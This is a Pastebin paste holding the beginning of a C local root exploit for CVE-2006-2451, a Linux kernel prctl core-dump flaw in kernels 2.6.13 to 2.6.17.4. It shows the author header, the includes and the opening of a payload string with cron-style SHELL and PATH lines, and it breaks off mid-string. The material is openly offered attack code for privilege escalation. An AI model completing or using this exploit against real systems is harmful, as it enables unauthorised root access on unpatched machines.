unknowns-mm

rs_prctl_kernal.c

Sep 5th, 2016
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*****************************************************/
  2. /Name : rs_prctl_kernal.c                            */
  3. /*Kernal Version : Linux >= 2.6.13 && < 2.6.17.4     */
  4. /*CVE : CVE-2006-2451                                */
  5. /*Description : Linux Kernel PRCTL Core Dump Handling*/
  6. /* Local r00t Exploit for:                           */
  7. /* Linux Kernel PRCTL Core Dump Handling             */
  8. /* ( BID 18874 / CVE-2006-2451 )                     */
  9. /* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
  10. /* By:                                               */
  11. /* - dreyer    <luna@aditel.org>   (main PoC code)   */
  12. /* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
  13. /*                                  [ 10.Jul.2006 ]  */
  14. /*****************************************************/
  15.  
  16. #include <stdio.h>
  17. #include <sys/time.h>
  18. #include <sys/resource.h>
  19. #include <unistd.h>
  20. #include <linux/prctl.h>
  21. #include <stdlib.h>
  22. #include <sys/types.h>
  23. #include <signal.h>
  24.  
  25. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:
Add Comment
Please, Sign In to add comment